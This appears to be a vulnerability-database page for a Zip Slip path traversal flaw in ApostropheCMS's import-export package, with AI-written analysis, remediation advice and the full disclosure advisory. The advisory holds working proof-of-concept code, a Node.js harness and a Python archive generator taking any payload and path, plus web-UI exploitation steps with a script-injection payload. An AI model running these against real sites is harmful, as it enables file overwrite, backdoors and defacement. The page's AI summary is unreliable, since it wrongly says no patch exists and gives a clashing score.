Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessEditor uploads crafted gzip archive
-
ExploitPath traversal in extract function
-
ExecutionWrite malicious files outside intended directory
-
ImpactAchieve remote code execution
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK
2 techniques across 2 tactics: Discovery, Collection The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires authenticated access to ApostropheCMS with Global Content Modify permission (editor-level user). Attacker uploads crafted gzip file via import-export module to trigger path traversal in extract() function (gzip.js lines 132-157). Affects @apostrophecms/import-export versions prior to 3.5.3. |
| Impact | This vulnerability presents critical real-world risk despite requiring authentication. The CVSS 3.1 score of 10.0 with vector AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H accurately reflects the severe impact: network-exploitable, low attack complexity, requires only low privileges (content editor role routinely granted to non-administrators), no user interaction needed, scope change to affect resources beyond the vulnerable component, and complete compromise of confidentiality, integrity, and availability. The existence of two detailed proof-of-concept exploits (automated Node.js harness and Python archive generator) with video demonstration significantly lowers the exploitation barrier. The vulnerability enables immediate arbitrary file write leading to remote code execution, website defacement, credential theft, and persistent backdoors. The required Global Content Modify permission is not an administrator-only privilege but a standard editor-level capability in typical CMS deployments, expanding the potential attacker population to include compromised content editor accounts, insider threats, or social engineering targets. The patch is available in version 3.5.3, making this a high-priority remediation item for all ApostropheCMS installations using the import-export module. While no EPSS score or KEV listing is provided in the intelligence data, the combination of public POC availability, critical CVSS score, low privilege requirements, and clear path to RCE makes exploitation highly likely once attackers become aware of vulnerable installations. |
| Exploit ScenarioDerived | An attacker with compromised content editor credentials (or a malicious insider with standard editing privileges) creates a malicious tar.gz archive using the provided Python script to target the public web directory with a path like ../../../../public/backdoor.js containing a web shell or cryptocurrency miner. The attacker logs into the ApostropheCMS interface, navigates to the import functionality under Global Settings, and uploads the crafted archive through the standard web UI. Upon extraction, the malicious JavaScript file is written to the public directory where it becomes immediately accessible via HTTP to all site visitors, enabling the attacker to serve phishing pages, inject persistent XSS payloads, or achieve remote code execution when the application restarts and loads the poisoned module, all while appearing to originate from the legitimate CMS domain. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 18, 2026
Path traversal in ApostropheCMS import-export module allows authenticated users with content modification permissions to write files outside the intended export directory via malicious archive entries containing directory traversal sequences. An attacker with editor-level access can exploit this vulnerability to overwrite arbitrary files on the system with CVSS 9.9 critical severity. No patch is currently available for this vulnerability affecting Node.js environments.
Earlier versions of this analysis (1)
A path traversal vulnerability in the ApostropheCMS import-export module allows authenticated users with content editor privileges to write arbitrary files anywhere on the server filesystem by uploading a malicious tar.gz archive. The vulnerability affects @apostrophecms/import-export versions prior to 3.5.3 and enables attackers to achieve remote code execution, deface websites, inject persistent backdoors, or overwrite critical configuration files. A working proof-of-concept exists demonstrating both automated exploitation and manual web UI upload, and the flaw requires only low-privilege content editor access (Global Content Modify permission), making it highly exploitable in real-world deployments where content editing is delegated to non-administrative staff.
RemediationAI
Immediately upgrade the @apostrophecms/import-export package to version 3.5.3 or later, which contains the patch for this vulnerability as confirmed in the GitHub Security Advisory at https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-mwxc-m426-3f78. Organizations should audit all user accounts with Global Content Modify permission and apply principle of least privilege, restricting import functionality to only trusted administrators until patching is complete. As an interim mitigation, disable or restrict access to the import functionality through the CMS settings or implement file system permissions that prevent the Node.js process from writing to critical directories such as the application root, public assets directory, and node_modules. After patching, review file system logs and the public directory for any suspicious files written between the vulnerability disclosure date and patch application, particularly looking for unexpected JavaScript files, HTML files, or modifications to configuration files that could indicate exploitation. Consider implementing application-level file integrity monitoring on critical directories and rotating credentials stored in configuration files as a precautionary measure.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in the gzip.js module's extract() function (lines 132-157) within the @apostrophecms/import-export package. The root cause is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory), specifically a classic Zip Slip attack where the code uses path.join() to construct file write paths without sanitizing or resolving traversal sequences like '../'. When processing tar archive entries, the function directly creates write streams using fs.createWriteStream(path.join(exportPath, header.name)) without validating that the resulting path remains within the intended extraction directory. The affected package is identified by CPE pkg:npm/@apostrophecms_import-export and resides in the apostrophecms/apostrophe monorepo. This type of vulnerability is common in archive extraction implementations that fail to canonicalize paths or check for directory traversal attempts before file system operations.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
Reported: 2026-03-08 Status: patched and released in version 3.5.3 of @apostrophecms/import-export
---
Product
| Field | Value |
|---|---|
| Repository | apostrophecms/apostrophe (monorepo) |
| Affected Package | @apostrophecms/import-export |
| Affected File | packages/import-export/lib/formats/gzip.js |
| Affected Function | extract(filepath, exportPath) - lines ~132-157 |
| Minimum Required Permission | Global Content Modify (any editor-level user with import access) |
---
Vulnerability Summary
The extract() function in gzip.js constructs file-write paths using:
fs.createWriteStream(path.join(exportPath, header.name))path.join() does not resolve or sanitise traversal segments such as ../. It concatenates them as-is, meaning a tar entry named ../../evil.js resolves to a path outside the intended extraction directory. No canonical-path check is performed before the write stream is opened.
This is a textbook Zip Slip vulnerability. Any user who has been granted the Global Content Modify permission - a role routinely assigned to content editors and site managers - can upload a crafted .tar.gz file through the standard CMS import UI and write attacker-controlled content to any path the Node.js process can reach on the host filesystem.
---
Security Impact
This vulnerability provides unauthenticated-equivalent arbitrary file write to any user with content editor permissions. The full impact chain is:
1. Arbitrary File Write
Write any file to any path the Node.js process user can access. Confirmed writable targets in testing:
- Any path the CMS process has permission to
2. Static Web Directory - Defacement & Malicious Asset Injection
ApostropheCMS serves <project-root>/public/ via Express static middleware:
// packages/apostrophe/modules/@apostrophecms/asset/index.js
express.static(self.apos.rootDir + '/public', self.options.static || {})A traversal payload targeting public/ makes any uploaded file directly HTTP-accessible:
This enables:
- Full site defacement
- Serving phishing pages from the legitimate CMS domain
- Injecting malicious JavaScript served to all site visitors (stored XSS at scale)
3. Persistent Backdoor / RCE (Post-Restart)
If the traversal targets any .js file loaded by Node.js on startup (e.g., a module index.js, a config file, a routes file), the payload becomes a persistent backdoor that executes with the CMS process privileges on the next server restart. In container/cloud environments, restarts happen automatically on deploy, crash, or health-check failure - meaning the attacker does not need to manually trigger one.
4. Credential and Secret File Overwrite
Overwrite .env, app.config.js, database seed files, or any config file to:
- Exfiltrate database credentials on next load
- Redirect authentication to an attacker-controlled backend
- Disable security controls (rate limiting, MFA, CSRF)
5. Denial of Service
Overwrite any critical application file (package.json, node_modules entries, etc.) with garbage data, rendering the application unbootable.
---
Required Permission
Global Content Modify - this is a standard editor-level permission routinely granted to content managers, blog editors, and site administrators in typical ApostropheCMS deployments. It is not an administrator-only capability. Any organisation that delegates content editing to non-technical staff is exposed.
---
Proof of Concept
Two PoC artifacts are provided:
| File | Purpose |
|---|---|
tmp-import-export-zip-slip-poc.js | Automated Node.js harness - verifies the write happens without a browser |
make-slip-tar.py | Attacker tool - generates a real .tar.gz for upload via the CMS web UI |
---
PoC 1 - Automated Verification (tmp-import-export-zip-slip-poc.js)
const fs = require('node:fs');
const fsp = require('node:fs/promises');
const path = require('node:path');
const os = require('node:os');
const zlib = require('node:zlib');
const tar = require('tar-stream');
const gzipFormat = require('./packages/import-export/lib/formats/gzip.js');
async function makeArchive(archivePath) {
const pack = tar.pack();
const gzip = zlib.createGzip();
const out = fs.createWriteStream(archivePath);
const done = new Promise((resolve, reject) => {
out.on('finish', resolve);
out.on('error', reject);
gzip.on('error', reject);
pack.on('error', reject);
});
pack.pipe(gzip).pipe(out);
pack.entry({ name: 'aposDocs.json' }, '[]');
pack.entry({ name: 'aposAttachments.json' }, '[]');
// Traversal payload
pack.entry({ name: '../../zip-slip-pwned.txt' }, 'PWNED_FROM_TAR');
pack.finalize();
await done;
}
(async () => {
const base = await fsp.mkdtemp(path.join(os.tmpdir(), 'apos-zip-slip-'));
const archivePath = path.join(base, 'evil-export.gz');
const exportPath = archivePath.replace(/\.gz$/, '');
await makeArchive(archivePath);
const expectedOutsideWrite = path.resolve(exportPath, '../../zip-slip-pwned.txt');
// Ensure clean pre-state
try { await fsp.unlink(expectedOutsideWrite); } catch (_) {}
await gzipFormat.input(archivePath);
const exists = fs.existsSync(expectedOutsideWrite);
const content = exists ? await fsp.readFile(expectedOutsideWrite, 'utf8') : '';
console.log('EXPORT_PATH:', exportPath);
console.log('EXPECTED_OUTSIDE_WRITE:', expectedOutsideWrite);
console.log('ZIP_SLIP_WRITE_HAPPENED:', exists);
console.log('WRITTEN_CONTENT:', content.trim());
})();Run:
node .\tmp-import-export-zip-slip-poc.jsObserved output (confirmed):
EXPORT_PATH: C:\Users\...\AppData\Local\Temp\apos-zip-slip-XXXXXX\evil-export
EXPECTED_OUTSIDE_WRITE: C:\Users\...\AppData\Local\Temp\zip-slip-pwned.txt
ZIP_SLIP_WRITE_HAPPENED: true
WRITTEN_CONTENT: PWNED_FROM_TARThe file zip-slip-pwned.txt is written two directories above the extraction root, confirming path traversal.
---
PoC 2 - Web UI Exploitation (make-slip-tar.py)
Script (make-slip-tar.py):
import tarfile, io, sys
if len(sys.argv) != 3:
print("Usage: python make-slip-tar.py <payload_file> <target_path>")
sys.exit(1)
payload_file = sys.argv[1]
target_path = sys.argv[2]
out = "evil-slip.tar.gz"
with open(payload_file, "rb") as f:
payload = f.read()
with tarfile.open(out, "w:gz") as t:
docs = io.BytesIO(b"[]")
info = tarfile.TarInfo("aposDocs.json")
info.size = len(docs.getvalue())
t.addfile(info, docs)
atts = io.BytesIO(b"[]")
info = tarfile.TarInfo("aposAttachments.json")
info.size = len(atts.getvalue())
t.addfile(info, atts)
info = tarfile.TarInfo(target_path)
info.size = len(payload)
t.addfile(info, io.BytesIO(payload))
print("created", out)---
Steps to Reproduce (Web UI - Real Exploitation)
Step 1 - Create the payload file
Create a file with the content you want to write to the server. For a static web directory write:
echo "<!-- injected by attacker --><script>alert('XSS')</script>" > payload.htmlStep 2 - Generate the malicious archive
Use the traversal path that reaches the CMS public/ directory. The number of ../ segments depends on where the CMS stores its temporary extraction directory relative to the project root - typically 2-4 levels up. Adjust as needed:
python make-slip-tar.py payload.html "../../../../<project-root>/public/injected.html"This creates evil-slip.tar.gz containing:
aposDocs.json- empty, required by the importeraposAttachments.json- empty, required by the importer../../../../<project-root>/public/injected.html- the traversal payload
Step 3 - Upload via CMS Import UI
- Log in to the CMS with any account that has Global Content Modify permission.
- Navigate to Open Global Settings → More Options → Import.
- Select
evil-slip.tar.gzand click Import. - The CMS accepts the file and begins extraction - no error is shown.
Step 4 - Confirm the write
curl http://localhost:3000/injected.htmlExpected response:
<!-- injected by attacker --><script>alert('XSS')</script>The file is now being served from the CMS's own domain to all visitors.
Video POC : https://drive.google.com/file/d/1bbuQnoJv_xjM_uvfjnstmTh07FB7VqGH/view?usp=sharing
---
Executive ViewAI
CVE-2026-32731 presents critical security risk, a path traversal vulnerability rated CVSS 9.9. This could allow attackers to access or modify files outside intended directories, potentially exposing sensitive configuration or credentials. Organizations should apply vendor updates immediately when available and implement compensating controls in the interim.
Apply vendor patch. If immediate patching is not feasible: (1) Restrict file upload functionality via WAF; (2) Implement allowlist-based file type validation; (3) Use chroot/containerization to limit filesystem access.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.
Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
Affected Products (CPE)GitHub Advisory
Related Vulnerabilities in ApostropheCMS Authentication and XSS
View all 2Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
EUVD-2026-12978
GHSA-mwxc-m426-3f78
NVD
CVE.org
EPSS
VulDB
Exploit-DB